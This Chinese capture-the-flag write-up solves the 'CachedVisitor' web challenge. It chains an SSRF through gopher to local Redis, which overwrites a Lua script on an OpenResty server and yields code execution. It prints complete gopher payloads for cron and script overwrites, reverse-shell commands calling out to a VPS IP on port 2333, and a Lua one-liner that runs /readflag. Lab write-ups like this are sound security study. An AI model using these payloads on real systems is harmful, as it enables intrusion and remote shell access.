软件系统安全赛2025wp

软件系统安全赛2025web的wp

WEB

CachedVisitor

有docker。这个比赛我也没有报名,以为不是CTF,早知道就和队友报了,不然就进线下了🥵。

——————————

给了docker,简单审一下docker,是执行的一个lua脚本,然后nginx后端。

看了一下源代码:

main.lua:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end

    local content = file:read("*a")
    file:close()
    return content
end

local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end

local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end

main()

visit.script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")

ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url

if not url then
    ngx.say("URL parameter is missing!")
    return
end

local red = redis:new()
red:set_timeout(1000)

local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
    ngx.say("Failed to connect to Redis: ", err)
    return
end

local res, err = red:get(url)
if res and res ~= ngx.null then
    ngx.say(res)
    return
end

local c = curl.easy {
    url = url,
    timeout = 5,
    connecttimeout = 5
}

local response_body = {}

c:setopt_writefunction(table.insert, response_body)

local ok, err = pcall(c.perform, c)

if not ok then
    ngx.say("Failed to perform request: ", err)
    c:close()
    return
end

c:close()

local response_str = table.concat(response_body)

local ok, err = red:setex(url, 3600, response_str)
if not ok then
    ngx.say("Failed to save response in Redis: ", err)
    return
end

ngx.say(response_str)
##LUA_END##

可以看到这里的代码运行,在visit.script文件就是一个连接redis,然后发送url请求的过程。

在mian.lua中,可以知道主要逻辑就是运行visit.script文件。

然后就看题吧。

开题如下:

image-20250106181229302

ssrf,并且可以读文件:

image-20250106181308285

但是不能直接读flag,权限不够:

image-20250106181405066

其实这个在dockerfile中是有说明的:

1
2
3
4
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

可以看到赋予权限的操作。

尝试打redis,这样先用dict协议查看一次redis的基本信息:

image-20250106195812295

可以看到redis的版本,这里应该是不能打redis主从复制的来getshell,看docker文件,是需要执行/readflag文件来读取文件的。

错误做法

这里是先踩了一个坑的,也来记录一下,后端没有执行什么语言,所以不能写php文件,这里我想使用gopherus工具,所以只有用来尝试写定时任务来反弹shell:

image-20250106200423308

这里简单改一下payload即可,弹到2333端口去,如下:

1
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/47.100.223.173/2333%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

然后抓包url编码一下发包:

image-20250106200858389

然后在vps上监听一下2333端口。

但是一直没成功,然后可以使用dict协议来看是否成功写入:

image-20250106201037533

查看这个1的内容:

image-20250106201118566

可以看出来就是一个反弹shell的操作。

后面一直都打不成功。想了一下,以为是环境不出网,但是发现是出网的:

image-20250106203424340

继续想,可能是因为环境中都不能打定时任务,在dockerfile中都没有下载crontab这个命令:

image-20250106203503701

所以是打不了的。需要想其他的方法。

后面我就一直看文件,想到了nginx配置是否有突破点,这个同样是在docker中给了的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

events {
    worker_connections 1024;
}

http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;
    
    server {
        listen       80;
        server_name  localhost;

        location / {
            root   html;
            index  index.html;
        }

        location /visit {
            default_type text/plain;
            content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
        }

        lua_code_cache off;
    }
}

这里关键就是如下代码:

1
lua_code_cache off;

这里将lua_code_cache设置为off,说明nginx不会缓存之前的编译效果,也就是每次发起请求,nginx都会重新编译这个lua脚本,也就是main.lua文件。

纵观main.lua文件,可以发现是引用了visit.script文件的,那么现在就迸发出一个思路,可以尝试覆盖visit.script文件,将这个文件内容改为是一个命令执行的地方,然后重新发起请求,就可以执行这个visit.script文件,从而成功达到一次命令执行。

写文件的话就是参照redis中的写php文件的操作。

让gpt给了一个弹shell的命令:

1
##LUA_START##os.execute('bash -i >& /dev/tcp/47.100.223.173/2333 0>&1')##LUA_END##

这里我是先尝试了sec_tool工具,但是一直打不成功,这里是可以用gopherus工具的,但是需要改一下,结果还是没打通,看了一下别人的wp,用的弹shell的命令如下:

1
##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/47.100.223.173/2333 0>&1'")##LUA_END##

又是这个原因,后面还是注意用更稳定的吧。

所以直接用gopherus生成payload:

image-20250106210450608

这里是打的php文件,需要改一下payload,gopheru打这个用的RESP协议,学ssrf的时候就简单了解了,原payload:

1
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2493%0D%0A%0A%0A%23%23LUA_START%23%23os.execute%28%22bash%20-c%20%27sh%20-i%20%26%3E/dev/tcp/47.100.223.173/2333%200%3E%261%27%22%29%23%23LUA_END%23%23%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A/scripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

这里就只需要改一下文件名以及长度:

1
2
3
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2493%0D%0A%0A%0A%23%23LUA_START%23%23os.execute%28%22bash%20-c%20%27sh%20-i%20%26%3E/dev/tcp/47.100.223.173/2333%200%3E%261%27%22%29%23%23LUA_END%23%23%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A/scripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%
        ..      ............
0D%0A%2412%0D%0Avisit.script%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

改的地方用点标记出来了,就是改了一下文件名以及长度。

然后将改了后的payload 再URL编码一下发包即可:

第一次发包:

image-20250106210927028

然后再第二次发包,点一下send即可,成功弹上shell:

image-20250106211019683

然后再执行readflag文件即可:

image-20250106211058318

最后成功得到flag。

这里还有队友打的用于直接执行然后回显到当前页面上的lua执行命令:

1
2
3
##LUA_START##
ngx.say(io.popen("/readflag"):read("*all"))
##LUA_END##

——————————————

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计